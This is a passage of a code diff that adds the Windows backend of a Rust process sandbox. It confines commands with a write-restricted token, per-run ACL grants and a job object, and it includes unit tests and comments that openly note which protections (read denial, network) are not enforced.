+ } + } + Ok(()) +} + +/// The cross-process lock around an ACL change, released on drop. +struct AclLock(HANDLE); + +impl AclLock { + fn take() -> Result { + // SAFETY: a NUL-terminated name; the handle is owned by the guard. + unsafe { + let handle = CreateMutexW(std::ptr::null(), 0, wide("Global\\sbx-acl").as_ptr()); + if handle.is_null() { + return Err(last_error("CreateMutexW")); + } + let waited = WaitForSingleObject(handle, LOCK_WAIT_MS); + if waited != WAIT_OBJECT_0 && waited != WAIT_ABANDONED { + CloseHandle(handle); + return Err( + "another process held the ACL lock for two minutes; not waiting longer" + .to_string(), + ); + } + Ok(Self(handle)) + } + } +} + +impl Drop for AclLock { + fn drop(&mut self) { + // SAFETY: owned, held, released and closed once. + unsafe { + ReleaseMutex(self.0); + CloseHandle(self.0); + } + } +} diff --git a/crates/sandbox/src/windows/helper.rs b/crates/sandbox/src/windows/helper.rs new file mode 100644 index 0000000..583cedc --- /dev/null +++ b/crates/sandbox/src/windows/helper.rs @@ -0,0 +1,294 @@ +//! The helper on Windows: build the token, start the command under it in a +//! job object, wait, and pass its exit code on. +//! +//! Why a helper rather than the parent calling `CreateProcessAsUserW` +//! itself: the parent hands its caller a ready `std::process::Command` +//! ([`crate::Sandbox::command`]) whose pipes the caller chooses, and only +//! `std` can spawn that. The helper is that `Command`; it inherits the pipes +//! as its own standard handles and passes them straight to the command, the +//! way incode's `--sandbox-exec` helper does. Windows has no `exec`, so the +//! helper stays, as the command's supervisor: it holds the job's only handle +//! and watches the parent, so when either the helper or the parent goes, the +//! whole tree goes with it. + +use std::ffi::OsString; +use std::os::windows::ffi::OsStrExt; + +use windows_sys::Win32::Foundation::{ + SetHandleInformation, ERROR_FILE_NOT_FOUND, ERROR_PATH_NOT_FOUND, HANDLE, HANDLE_FLAG_INHERIT, + INVALID_HANDLE_VALUE, WAIT_OBJECT_0, +}; +use windows_sys::Win32::System::Console::{ + GetStdHandle, STD_ERROR_HANDLE, STD_INPUT_HANDLE, STD_OUTPUT_HANDLE, +}; +use windows_sys::Win32::System::JobObjects::{ + AssignProcessToJobObject, CreateJobObjectW, JobObjectExtendedLimitInformation, + SetInformationJobObject, TerminateJobObject, JOBOBJECT_EXTENDED_LIMIT_INFORMATION, + JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION, JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE, + JOB_OBJECT_LIMIT_PROCESS_MEMORY, JOB_OBJECT_LIMIT_PROCESS_TIME, +}; +use windows_sys::Win32::System::Threading::{ + CreateProcessAsUserW, CreateProcessW, GetExitCodeProcess, OpenProcess, ResumeThread, + TerminateProcess, WaitForMultipleObjects, CREATE_SUSPENDED, INFINITE, PROCESS_INFORMATION, + PROCESS_SYNCHRONIZE, STARTF_USESTDHANDLES, STARTUPINFOW, +}; + +use super::job_flags; +use super::token::{last_error, restricted, OwnedHandle}; +use super::{ + batch_command_line, command_line, is_batch, is_session_sid, resolve_program, JobLimits, +}; +use crate::policy::FsMode; +use crate::{EnterSpec, EXIT_SANDBOX}; + +// The flags are spelled in the pure module for its tests; check them here. +const _: () = { + assert!(job_flags::KILL_ON_JOB_CLOSE == JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE); + assert!(job_flags::DIE_ON_UNHANDLED_EXCEPTION == JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION); + assert!(job_flags::PROCESS_MEMORY == JOB_OBJECT_LIMIT_PROCESS_MEMORY); + assert!(job_flags::PROCESS_TIME == JOB_OBJECT_LIMIT_PROCESS_TIME); +}; + +/// An error and the exit code it ends the helper with. +type Failure = (String, i32); + +fn sandbox(message: impl Into) -> Failure { + (message.into(), EXIT_SANDBOX) +} + +/// Run `program args` confined as `spec` says; its exit code. +/// +/// # Errors +/// When the parent is gone, the token or job cannot be made in strict mode, +/// or the command cannot be found (127) or started (126). +pub(crate) fn enter( + spec: &EnterSpec, + program: &OsString, + args: &[OsString], +) -> Result { + // Watch the parent from before the command starts: if it is already + // gone, nothing should run unsupervised. + let parent = match spec.parent_pid { + Some(pid) => { + // SAFETY: opening a process by id for SYNCHRONIZE only. + let h = unsafe { OpenProcess(PROCESS_SYNCHRONIZE, 0, pid) }; + if h.is_null() { + return Err(sandbox("the parent exited before the command started")); + } + Some(OwnedHandle(h)) + } + None => None, + }; + + let job = job(&JobLimits::from_limits(&spec.limits)).or_else(|e| { + if spec.strict { + return Err(sandbox(format!("job object: {e}"))); + } + eprintln!("sbx: job object limits not applied (best effort): {e}"); + job(&JobLimits::from_limits(&crate::policy::Limits::default())) + .map_err(|e| sandbox(format!("job object: {e}"))) + })?; + + let token = if spec.fs_mode == FsMode::Off { + None + } else { + match confining_token(spec) { + Ok(t) => Some(t), + Err(e) if spec.strict => { + return Err(sandbox(format!( + "the {} sandbox could not be applied, so the command was not run: {e}", + spec.fs_mode.as_str() + ))) + } + Err(e) => { + eprintln!("sbx: restricted token not applied (best effort): {e}"); + None + } + } + }; + + let (application, mut line) = command_for(program, args)?; + let child = start(token.as_ref(), &application, &mut line, &job)?; + + // Wait for the command, or for the parent to disappear. + let mut handles: Vec = vec![child.0]; + if let Some(p) = &parent { + handles.push(p.0); + } + // SAFETY: valid handles owned above, alive for the call. + let waited = + unsafe { WaitForMultipleObjects(handles.len() as u32, handles.as_ptr(), 0, INFINITE) }; + if waited != WAIT_OBJECT_0 { + // The parent died (or the wait failed): the tree goes with it. + // SAFETY: the job handle is ours. + unsafe { TerminateJobObject(job.0, 1) }; + return Ok(1); + } + let mut code = 0u32; + // SAFETY: the process handle is ours. + if unsafe { GetExitCodeProcess(child.0, &mut code) } == 0 { + return Err(sandbox(last_error("GetExitCodeProcess"))); + } + // Whatever the command left running ends with it, as on Linux when the + // run has its own process group; closing the job would do the same. + // SAFETY: the job handle is ours. + unsafe { TerminateJobObject(job.0, 1) }; + Ok(code as i32) +} + +/// The token for a confined run, restricted to the run's SID. +fn confining_token(spec: &EnterSpec) -> Result { + let sid = spec + .sid + .as_deref() + .ok_or("the helper was started without the run's SID")?; + if !is_session_sid(sid) { + return Err(format!("{sid} is not an sbx run SID")); + } + restricted(sid) +} + +/// A job that kills everything in it when its last handle closes, with the +/// policy's per-process limits. Not inheritable: the only handle is ours. +fn job(limits: &JobLimits) -> Result { + // SAFETY: no security attributes, no name; the handle is owned. + let job = OwnedHandle(unsafe { CreateJobObjectW(std::ptr::null(), std::ptr::null()) }); + if job.0.is_null() { + return Err(last_error("CreateJobObjectW")); + } + // SAFETY: a plain-data structure, zero is a valid value for every field. + let mut info: JOBOBJECT_EXTENDED_LIMIT_INFORMATION = unsafe { std::mem::zeroed() }; + info.BasicLimitInformation.LimitFlags = limits.flags; + info.BasicLimitInformation.PerProcessUserTimeLimit = limits.process_user_time; + info.ProcessMemoryLimit = limits.process_memory; + // SAFETY: `info` is the structure the class names, at its size. + let ok = unsafe { + SetInformationJobObject( + job.0, + JobObjectExtendedLimitInformation, + std::ptr::from_ref(&info).cast(), + std::mem::size_of::() as u32, + ) + }; + if ok == 0 { + return Err(last_error("SetInformationJobObject")); + } + Ok(job) +} + +fn to_wide(s: &OsString) -> Vec { + s.encode_wide().collect() +} + +/// The program to start and its command line (NUL-terminated), found the way +/// [`resolve_program`] says. A batch file runs through `cmd.exe`. +fn command_for(program: &OsString, args: &[OsString]) -> Result<(Vec, Vec), Failure> { + let name = program.to_string_lossy(); + let path = std::env::var("PATH").ok(); + let pathext = std::env::var("PATHEXT").ok(); + let resolved = resolve_program(&name, path.as_deref(), pathext.as_deref(), &|p| { + std::path::Path::new(p).is_file() + }) + .ok_or_else(|| (format!("cannot run {name}: not found"), 127))?; + let mut argv: Vec> = vec![to_wide(program)]; + argv.extend(args.iter().map(to_wide)); + let (application, mut line) = if is_batch(&resolved) { + let comspec = std::env::var("ComSpec").unwrap_or_else(|_| { + let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".into()); + format!(r"{root}\System32\cmd.exe") + }); + argv[0] = resolved.encode_utf16().collect(); + let wide_comspec: Vec = comspec.encode_utf16().collect(); + (comspec, batch_command_line(&wide_comspec, &argv)) + } else { + (resolved, command_line(&argv)) + }; + line.push(0); + let application: Vec = application.encode_utf16().chain(Some(0)).collect(); + Ok((application, line)) +} + +/// Start the command suspended (under `token` when given), with this +/// helper's standard handles, put it in `job`, then let it run. +fn start( + token: Option<&OwnedHandle>, + application: &[u16], + line: &mut [u16], + job: &OwnedHandle, +) -> Result { + // SAFETY: Win32 process creation; every pointer passed outlives the call + // and every handle returned is owned and closed. + unsafe { + // The helper's own standard handles are the pipes (or console) its + // caller chose: hand them straight to the command. + let std_handles = [ + GetStdHandle(STD_INPUT_HANDLE), + GetStdHandle(STD_OUTPUT_HANDLE), + GetStdHandle(STD_ERROR_HANDLE), + ]; + for h in std_handles { + if !h.is_null() && h != INVALID_HANDLE_VALUE { + SetHandleInformation(h, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT); + } + } + let mut si: STARTUPINFOW = std::mem::zeroed(); + si.cb = std::mem::size_of::() as u32; + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdInput = std_handles[0]; + si.hStdOutput = std_handles[1]; + si.hStdError = std_handles[2]; + let mut pi: PROCESS_INFORMATION = std::mem::zeroed(); + // Suspended, so it is in the job before it runs a single + // instruction (or starts a single child). + let ok = match token { + Some(t) => CreateProcessAsUserW( + t.0, + application.as_ptr(), + line.as_mut_ptr(), + std::ptr::null(), + std::ptr::null(), + 1, + CREATE_SUSPENDED, + std::ptr::null(), + std::ptr::null(), + &si, + &mut pi, + ), + None => CreateProcessW( + application.as_ptr(), + line.as_mut_ptr(), + std::ptr::null(), + std::ptr::null(), + 1, + CREATE_SUSPENDED, + std::ptr::null(), + std::ptr::null(), + &si, + &mut pi, + ), + }; + if ok == 0 { + let err = windows_sys::Win32::Foundation::GetLastError(); + let name = String::from_utf16_lossy(&application[..application.len() - 1]); + let code = if err == ERROR_FILE_NOT_FOUND || err == ERROR_PATH_NOT_FOUND { + 127 + } else { + 126 + }; + return Err((format!("cannot run {name}: Win32 error {err}"), code)); + } + let thread = OwnedHandle(pi.hThread); + let process = OwnedHandle(pi.hProcess); + if AssignProcessToJobObject(job.0, process.0) == 0 { + let e = last_error("AssignProcessToJobObject"); + TerminateProcess(process.0, 1); + return Err(sandbox(format!("the command was not run: {e}"))); + } + if ResumeThread(thread.0) == u32::MAX { + let e = last_error("ResumeThread"); + TerminateProcess(process.0, 1); + return Err(sandbox(e)); + } + Ok(process) + } +} diff --git a/crates/sandbox/src/windows/mod.rs b/crates/sandbox/src/windows/mod.rs new file mode 100644 index 0000000..f46b684 --- /dev/null +++ b/crates/sandbox/src/windows/mod.rs @@ -0,0 +1,682 @@ +//! Windows, natively: a write-restricted token, one ACE per writable root, +//! and a job object. +//! +//! Ported from incode's own Windows sandbox (`src/sandbox/windows.rs` and +//! `windows/acl.rs`, Apache-2.0), whose authors measured it on Windows. What +//! they measured is repeated here where it explains a choice; nothing in this +//! crate's port has itself run on Windows yet (see the README). +//! +//! # Writes: a write-restricted token +//! +//! `CreateRestrictedToken` with `WRITE_RESTRICTED` and a list of restricting +//! SIDs gives a token that READS anywhere its user can, but WRITES only where +//! the user may AND one of the restricting SIDs is granted. The restricting +//! SIDs are: +//! +//! - a private SID made for this one run +//! (`S-1-5-21-1111111111-2222222222-4242424242-`), granted on each +//! writable root and the run's private temp directory and nowhere else +//! ([`acl`]); +//! - `Everyone`, so `> NUL` still works; +//! - this logon's SID, so the command can use its window station and desktop +//! and start at all. +//! +//! So a location that grants `Everyone` (or the logon SID) write access stays +//! writable to the command: that is the price of the second and third SID, +//! and the README lists it. incode measured, without elevation: writes to the +//! workspace and to `Documents` refused, `reg add HKCU`, `schtasks /create` +//! and process injection into `explorer` refused, reads and `> NUL` working. +//! +//! `read-only` is the same token with no root granted: only the temp +//! directory, which the policy promises the command in every mode. +//! +//! # The grant +//! +//! NTFS inheritance is written into every object beneath a root, not computed +//! at access time, so granting a root costs time linear in its size (incode +//! measured 2.4-2.6 s each way on 18,673 objects) and touches every object's +//! security descriptor, though no file's contents or mtime. The revoke after +//! the run is exact (an `icacls /save` of the tree was byte-identical before +//! and after). A run that crashes leaves its ACE; the next run sweeps it +//! ([`acl`]). +//! +//! # Reads: `deny_read` is NOT enforced +//! +//! A write-restricted token consults its restricting SIDs only for write +//! access, so a deny ACE for the private SID would not stop a read. Denying +//! the user's own SID would hide the path from the user everywhere, not just +//! from the sandbox; a fully restricted token (not write-restricted) would +//! need every file a toolchain reads granted to one of its SIDs. So +//! `deny_read` is reported not enforced, and `SBX_BACKEND=auto` sends such a +//! policy to WSL2, where Landlock enforces it. +//! +//! # Network: NOT enforced +//! +//! No token restricts the network (incode measured raw TCP, http and https +//! all working under it). Only an AppContainer without the internet +//! capabilities does, and an AppContainer reads only what is granted to it: +//! the workspace, the user's toolchains and profile would all need granting. +//! `deny` and `proxy` are reported not enforced; `auto` sends them to WSL2. +//! +//! # Lifetime and limits: a job object +//! +//! The helper starts the command suspended, puts it in a new job object with +//! `KILL_ON_JOB_CLOSE`, then lets it run. Every process the command starts is +//! in the job too, and cannot leave it (breakaway is not allowed). The job's +//! only handle is the helper's, so the whole tree dies when the helper exits: +//! when the command ends, when the parent kills the helper at the wall-clock +//! limit, or when the parent itself dies (the helper watches it). The policy's +//! `memory_mb` becomes the job's committed-memory limit per process and +//! `cpu_secs` its user-mode time limit per process. `file_size_mb` and +//! `open_files` have no Windows equivalent and are reported not enforced. +//! +//! # Known limit: Git Bash +//! +//! Git Bash and every msys program fail to start under the write-restricted +//! token: the msys runtime maps a per-user shared section the token may not +//! map writable, and dies with `CreateFileMapping ..., Win32 error 5` +//! (incode measured). Use `cmd` or PowerShell, or `SBX_BACKEND=wsl` for a +//! POSIX shell. + +// The pure parts below are compiled on every platform so their tests run in +// Linux CI; only the Windows build calls them. +#![cfg_attr(not(windows), allow(dead_code))] + +use std::path::PathBuf; + +use crate::policy::{Fs, FsMode, NetMode}; +use crate::Status; + +#[cfg(windows)] +pub(crate) mod acl; +#[cfg(windows)] +mod helper; +#[cfg(windows)] +mod token; + +#[cfg(windows)] +pub(crate) use helper::enter; + +/// Every run's private SID starts with this, and the sweep touches no other. +/// The domain part is made up (no real machine or domain has it) and differs +/// from incode's own (`...-3333333333-`), so neither ever revokes the other's +/// grants. +pub const SID_PREFIX: &str = "S-1-5-21-1111111111-2222222222-4242424242-"; + +/// The private SID for a run, from its random relative ID. +#[must_use] +pub fn session_sid(rid: u32) -> String { + format!("{SID_PREFIX}{rid}") +} + +/// Whether `sid` is one of this crate's run SIDs: the prefix and a non-zero +/// decimal RID, nothing else. The helper refuses any other SID, so a spec +/// cannot point the token at a SID that is granted somewhere real. +#[must_use] +pub fn is_session_sid(sid: &str) -> bool { + sid.strip_prefix(SID_PREFIX) + .and_then(|rid| { + rid.parse::() + .ok() + .filter(|r| *r != 0) + .map(|r| (rid, r)) + }) + .is_some_and(|(rid, r)| rid == r.to_string()) +} + +/// The restricted token's default DACL, in SDDL: the user, SYSTEM and the +/// run's SID, all full access. Objects the command creates without a +/// descriptor of their own (its own process and threads) get this, and +/// without the run's SID in it the command could not even open its own +/// process token: the restricted half of the access check would fail. +#[must_use] +pub fn default_dacl_sddl(user_sid: &str, run_sid: &str) -> String { + format!("D:(A;;GA;;;{user_sid})(A;;GA;;;SY)(A;;GA;;;{run_sid})") +} + +/// Why `deny_read` is not enforced natively. +pub const DENY_READ_NOT_ENFORCED: &str = + "a write-restricted token consults its restricting SIDs only for writes, so no ACE can hide \ + a path from the sandbox alone; use WSL2 (SBX_BACKEND=wsl, or auto), where Landlock does"; + +/// Why `network = deny | proxy` is not enforced natively. +pub const NETWORK_NOT_ENFORCED: &str = + "no token restricts the network on Windows; only an AppContainer can, and an AppContainer \ + cannot read the workspace or the user's toolchains unless each is granted to it. Use WSL2 \ + (SBX_BACKEND=wsl, or auto)"; + +/// What native Windows enforces of the filesystem policy. +#[must_use] +pub fn fs_status(fs: &Fs) -> Status { + if fs.mode == FsMode::Off { + return Status::NotRequested; + } + if !fs.deny_read.is_empty() { + return Status::NotEnforced(format!( + "deny_read is not enforced natively on Windows ({DENY_READ_NOT_ENFORCED}); writes \ + would be confined" + )); + } + let writes = match fs.mode { + FsMode::ReadOnly => "writes only to the run's private temp directory", + _ => "writes only beneath the writable roots and the run's private temp directory", + }; + Status::Enforced(format!( + "write-restricted token: reads anywhere, {writes} (each granted to a private per-run \ + SID, revoked after the run), the null device, and anywhere Everyone may write" + )) +} + +/// What native Windows enforces of the network policy. +#[must_use] +pub fn net_status(mode: NetMode) -> Status { + match mode { + NetMode::Allow => Status::NotRequested, + NetMode::Deny | NetMode::Proxy => Status::NotEnforced(format!( + "network {} is not enforced natively on Windows: {NETWORK_NOT_ENFORCED}", + mode.as_str() + )), + } +} + +// ---- The grant's bookkeeping (see `acl`). ---- + +/// A grant record's contents: the SID, then one `root ` per root. +#[must_use] +pub fn record_text<'a>(sid: &str, roots: impl IntoIterator) -> String { + let mut text = format!("sid {sid}\n"); + for root in roots { + text.push_str(&format!("root {}\n", root.display())); + } + text +} + +/// A record read back. `None` for one whose SID is not a run SID of this +/// crate: the sweep must never revoke anyone else's ACE. +#[must_use] +pub fn parse_record(text: &str) -> Option<(String, Vec)> { + let mut sid = None; + let mut roots = Vec::new(); + for line in text.lines() { + match line.split_once(' ') { + Some(("sid", v)) => sid = Some(v.to_string()), + Some(("root", v)) => roots.push(PathBuf::from(v)), + _ => {} + } + } + let sid = sid.filter(|s| is_session_sid(s))?; + Some((sid, roots)) +} + +/// A path as Windows compares it: `\\?\` dropped (`canonicalize` adds it), +/// `/` as `\`, no trailing separator, lower case. Windows paths are +/// case-insensitive, and a refusal must not be dodged by spelling. +#[must_use] +pub fn path_key(path: &str) -> String { + let p = path.replace('/', "\\"); + let p = if let Some(unc) = p.strip_prefix(r"\\?\UNC\") { + format!(r"\\{unc}") + } else if let Some(rest) = p.strip_prefix(r"\\?\") { + rest.to_string() + } else { + p + }; + let trimmed = p.trim_end_matches('\\'); + // `C:\` keeps its separator: `C:` alone means "the current folder on C". + let p = if trimmed.len() == 2 && trimmed.ends_with(':') { + format!("{trimmed}\\") + } else { + trimmed.to_string() + }; + p.to_lowercase() +} + +/// Whether `outer` is `inner` or one of its ancestors. +#[must_use] +pub fn holds(outer: &str, inner: &str) -> bool { + let (o, i) = (path_key(outer), path_key(inner)); + if o == i { + return true; + } + let o = if o.ends_with('\\') { + o + } else { + format!("{o}\\") + }; + i.starts_with(&o) +} + +/// `\\?\C:\x` as `C:\x`, for paths handed to commands (a `\\?\` `TEMP` +/// breaks many tools). Anything else is returned as it was. +#[must_use] +pub fn strip_verbatim(path: &str) -> String { + match path.strip_prefix(r"\\?\") { + Some(rest) if rest.as_bytes().get(1) == Some(&b':') => rest.to_string(), + Some(rest) if rest.starts_with("UNC\\") => format!(r"\\{}", &rest[4..]), + _ => path.to_string(), + } +} + +/// Refuse a root whose grant would reach far past a workspace: a drive root, +/// a share's root, or a folder that holds the user profile. The grant would +/// reach every file beneath it, which is both slow and no confinement at all. +/// +/// # Errors +/// When the root is one of those, or not absolute. +pub fn refuse_broad(root: &str, profile: Option<&str>) -> Result<(), String> { + let key = path_key(root); + let absolute = key.as_bytes().get(1) == Some(&b':') || key.starts_with(r"\\"); + if !absolute { + return Err(format!("{root}: not an absolute path")); + } + let is_drive_root = key.len() == 3 && key.ends_with(":\\"); + let is_share_root = key.starts_with(r"\\") && key[2..].split('\\').count() <= 2; + if is_drive_root || is_share_root { + return Err(format!( + "will not grant {root}: a drive or share root is not a workspace" + )); + } + if profile.is_some_and(|p| holds(root, p)) { + return Err(format!("will not grant {root}: it holds the user profile")); + } + Ok(()) +} + +/// The roots worth granting: deduplicated, in a stable order, and a root +/// inside another dropped (it inherits the outer one's ACE). +#[must_use] +pub fn fold_nested(roots: &[PathBuf]) -> Vec { + let mut out: Vec = Vec::new(); + for r in roots { + let s = r.to_string_lossy(); + if !out + .iter() + .any(|o| path_key(&o.to_string_lossy()) == path_key(&s)) + { + out.push(r.clone()); + } + } + out.sort_by_key(|p| path_key(&p.to_string_lossy())); + let all = out.clone(); + out.retain(|r| { + !all.iter().any(|other| { + let (o, i) = (other.to_string_lossy(), r.to_string_lossy()); + path_key(&o) != path_key(&i) && holds(&o, &i) + }) + }); + out +} + +// ---- Starting the command: the program and its command line. ---- + +/// The extensions tried when a program is named without one. +pub const DEFAULT_PATHEXT: &str = ".COM;.EXE;.BAT;.CMD"; + +/// Find `program` the way a shell would, without the current directory: +/// a name with a separator is a path (relative to the command's folder); +/// a bare name is searched in each `PATH` folder. Without one of `PATHEXT`'s +/// extensions, each is tried in turn (so `npm` finds `npm.cmd`). `exists` +/// is asked about each candidate. +/// +/// Deliberately not `CreateProcess`'s own search, which looks in the +/// helper's folder and the current folder first: a `cmd.exe` planted in the +/// workspace would be run in place of the real one. +#[must_use] +pub fn resolve_program( + program: &str, + path: Option<&str>, + pathext: Option<&str>, + exists: &dyn Fn(&str) -> bool, +) -> Option { + let exts: Vec = pathext + .filter(|p| !p.trim().is_empty()) + .unwrap_or(DEFAULT_PATHEXT) + .split(';') + .map(str::trim) + .filter(|e| e.starts_with('.') && e.len() > 1) + .map(str::to_ascii_lowercase) + .collect(); + let file_name = program.rsplit(['\\', '/']).next().unwrap_or(program); + let has_known_ext = file_name + .rfind('.') + .is_some_and(|i| exts.contains(&file_name[i..].to_ascii_lowercase())); + let candidates = |base: &str| -> Vec { + let mut c = Vec::new(); + if has_known_ext { + c.push(base.to_string()); + } else { + c.extend(exts.iter().map(|e| format!("{base}{e}"))); + c.push(base.to_string()); + } + c + }; + if program.contains(['\\', '/', ':']) { + return candidates(program).into_iter().find(|c| exists(c)); + } + for dir in path.unwrap_or("").split(';') { + let dir = dir.trim().trim_matches('"').trim_end_matches(['\\', '/']); + if dir.is_empty() { + continue; + } + if let Some(found) = candidates(&format!("{dir}\\{program}")) + .into_iter() + .find(|c| exists(c)) + { + return Some(found); + } + } + None +} + +/// Whether a resolved program is a batch file, which only `cmd.exe` runs. +#[must_use] +pub fn is_batch(program: &str) -> bool { + let p = program.to_ascii_lowercase(); + p.ends_with(".bat") || p.ends_with(".cmd") +} + +/// Append `arg` to a command line, quoted so that `CommandLineToArgvW` (and +/// the C runtime) read it back as exactly one argument: in quotes when it is +/// empty or holds a space, tab, newline or quote; a quote escaped with a +/// backslash; backslashes doubled only where they precede a quote. +pub fn append_arg(line: &mut Vec, arg: &[u16]) { + const QUOTE: u16 = b'"' as u16; + const BACKSLASH: u16 = b'\\' as u16; + if !line.is_empty() { + line.push(u16::from(b' ')); + } + let plain = !arg.is_empty() + && !arg.iter().any(|&c| { + c == QUOTE || c == u16::from(b' ') || c == u16::from(b'\t') || c == 10 || c == 11 + }); + if plain { + line.extend_from_slice(arg); + return; + } + line.push(QUOTE); + let mut backslashes = 0usize; + for &c in arg { + if c == BACKSLASH { + backslashes += 1; + continue; + } + if c == QUOTE { + line.extend(std::iter::repeat_n(BACKSLASH, backslashes * 2 + 1)); + } else { + line.extend(std::iter::repeat_n(BACKSLASH, backslashes)); + } + backslashes = 0; + line.push(c); + } + line.extend(std::iter::repeat_n(BACKSLASH, backslashes * 2)); + line.push(QUOTE); +} + +/// The whole command line for `argv` (UTF-16, no terminating NUL). +#[must_use] +pub fn command_line(argv: &[Vec]) -> Vec { + let mut line = Vec::new(); + for a in argv { + append_arg(&mut line, a); + } + line +} + +/// The command line that runs a batch file: `cmd.exe /d /s /c ""`. +/// `/d` skips AutoRun commands from the registry; `/s` makes `cmd` strip +/// exactly the outer quotes. The batch file's arguments are then parsed by +/// `cmd` itself (`%`, `^`, `&` keep their meaning there), which is why this +/// is only used for `.bat`/`.cmd` programs; either way it runs confined. +#[must_use] +pub fn batch_command_line(comspec: &[u16], argv: &[Vec]) -> Vec { + let mut line = Vec::new(); + append_arg(&mut line, comspec); + for flag in ["/d", "/s", "/c"] { + line.push(u16::from(b' ')); + line.extend(flag.encode_utf16()); + } + line.extend(" \"".encode_utf16()); + line.extend(command_line(argv)); + line.push(u16::from(b'"')); + line +} + +// ---- The job's limits. ---- + +/// `JOB_OBJECT_LIMIT_*` values, spelled here so the flag arithmetic is +/// testable everywhere; the Windows build checks them against `windows-sys`. +pub mod job_flags { + pub const PROCESS_TIME: u32 = 0x0000_0002; + pub const PROCESS_MEMORY: u32 = 0x0000_0100; + pub const DIE_ON_UNHANDLED_EXCEPTION: u32 = 0x0000_0400; + pub const KILL_ON_JOB_CLOSE: u32 = 0x0000_2000; +} + +/// What the job object is set to, from the policy's limits. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct JobLimits { + /// `JOB_OBJECT_LIMIT_*` flags. + pub flags: u32, + /// Committed memory per process, in bytes. + pub process_memory: usize, + /// User-mode CPU time per process, in 100 ns units. + pub process_user_time: i64, +} + +impl JobLimits { + /// Always `KILL_ON_JOB_CLOSE` (the tree dies with the helper) and + /// `DIE_ON_UNHANDLED_EXCEPTION` (a crash ends the process instead of + /// leaving it waiting on an error-report dialog nobody sees); memory and + /// CPU when the policy sets them. + #[must_use] + pub fn from_limits(limits: &crate::policy::Limits) -> Self { + const MB: u64 = 1024 * 1024; + let mut flags = job_flags::KILL_ON_JOB_CLOSE | job_flags::DIE_ON_UNHANDLED_EXCEPTION; + let mut process_memory = 0; + let mut process_user_time = 0; + if let Some(mb) = limits.memory_mb { + flags |= job_flags::PROCESS_MEMORY; + process_memory = usize::try_from(mb.saturating_mul(MB)).unwrap_or(usize::MAX); + } + if let Some(secs) = limits.cpu_secs { + flags |= job_flags::PROCESS_TIME; + process_user_time = i64::try_from(secs.saturating_mul(10_000_000)).unwrap_or(i64::MAX); + } + Self { + flags, + process_memory, + process_user_time, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::policy::Limits; + + fn w(s: &str) -> Vec { + s.encode_utf16().collect() + } + + fn line(args: &[&str]) -> String { + String::from_utf16(&command_line( + &args.iter().map(|a| w(a)).collect::>(), + )) + .expect("utf16") + } + + #[test] + fn session_sids_are_recognised_and_nothing_else() { + let sid = session_sid(77); + assert_eq!(sid, "S-1-5-21-1111111111-2222222222-4242424242-77"); + assert!(is_session_sid(&sid)); + for bad in [ + "S-1-1-0", + SID_PREFIX, + &format!("{SID_PREFIX}0"), + &format!("{SID_PREFIX}007"), + &format!("{SID_PREFIX}12-5"), + &format!("{SID_PREFIX}99999999999"), + // incode's own prefix: never swept or used by sbx. + "S-1-5-21-1111111111-2222222222-3333333333-77", + ] { + assert!(!is_session_sid(bad), "{bad}"); + } + } + + #[test] + fn the_default_dacl_names_the_user_system_and_the_run() { + assert_eq!( + default_dacl_sddl("S-1-5-21-1-2-3-1001", &session_sid(9)), + "D:(A;;GA;;;S-1-5-21-1-2-3-1001)(A;;GA;;;SY)(A;;GA;;;S-1-5-21-1111111111-2222222222-4242424242-9)" + ); + } + + #[test] + fn a_record_round_trips_and_a_foreign_sid_is_ignored() { + let roots = [PathBuf::from(r"C:\w\a"), PathBuf::from(r"D:\b c")]; + let sid = session_sid(123); + let text = record_text(&sid, roots.iter()); + let (back, got) = parse_record(&text).expect("parses"); + assert_eq!(back, sid); + assert_eq!(got, roots); + assert!(parse_record("sid S-1-1-0\nroot C:\\w\n").is_none()); + assert!(parse_record(&format!("sid {SID_PREFIX}\n")).is_none()); + assert!(parse_record("root C:\\w\n").is_none()); + } + + #[test] + fn paths_compare_the_way_windows_does() { + assert_eq!(path_key(r"\\?\C:\Work\App\"), r"c:\work\app"); + assert_eq!(path_key("C:/Work"), r"c:\work"); + assert_eq!(path_key(r"\\?\C:\"), r"c:\"); + assert_eq!(path_key(r"\\?\UNC\srv\share\x"), r"\\srv\share\x"); + assert!(holds(r"C:\Users", r"c:\users\me\x")); + assert!(holds(r"\\?\C:\Users\Me", r"C:\Users\me")); + assert!(!holds(r"C:\Users\me", r"C:\Users\meta")); + assert!(holds(r"C:\", r"C:\anything")); + assert_eq!(strip_verbatim(r"\\?\C:\t\sbx-1"), r"C:\t\sbx-1"); + assert_eq!(strip_verbatim(r"\\?\UNC\srv\s\x"), r"\\srv\s\x"); + assert_eq!(strip_verbatim(r"C:\t"), r"C:\t"); + } + + #[test] + fn broad_roots_are_refused_and_nested_ones_folded() { + let profile = Some(r"C:\Users\someone"); + for broad in [ + r"C:\", + r"\\?\C:\", + r"C:\Users", + r"\\?\c:\users\SOMEONE", + r"\\server\share", + "relative", + ] { + assert!(refuse_broad(broad, profile).is_err(), "{broad}"); + } + assert!(refuse_broad(r"C:\Users\someone\proj", profile).is_ok()); + assert!(refuse_broad(r"\\?\C:\Users\someone\AppData\Local\Temp\sbx-1", profile).is_ok()); + assert!(refuse_broad(r"\\server\share\proj", profile).is_ok()); + let folded = fold_nested(&[ + PathBuf::from(r"C:\w\a\inner"), + PathBuf::from(r"C:\w\a"), + PathBuf::from(r"c:\W\A"), + PathBuf::from(r"D:\t"), + ]); + assert_eq!(folded, [PathBuf::from(r"C:\w\a"), PathBuf::from(r"D:\t")]); + } + + #[test] + fn arguments_are_quoted_for_command_line_to_argv() { + assert_eq!(line(&["cmd", "/c", "echo"]), "cmd /c echo"); + assert_eq!(line(&["a b", ""]), r#""a b" """#); + assert_eq!(line(&[r#"say "hi""#]), r#""say \"hi\"""#); + assert_eq!(line(&[r"C:\dir\"]), r"C:\dir\"); + assert_eq!(line(&[r"C:\my dir\"]), r#""C:\my dir\\""#); + assert_eq!(line(&[r#"a\"b"#]), r#""a\\\"b""#); + assert_eq!(line(&[r"a\\b c"]), r#""a\\b c""#); + assert_eq!(line(&["tab\there"]), "\"tab\there\""); + } 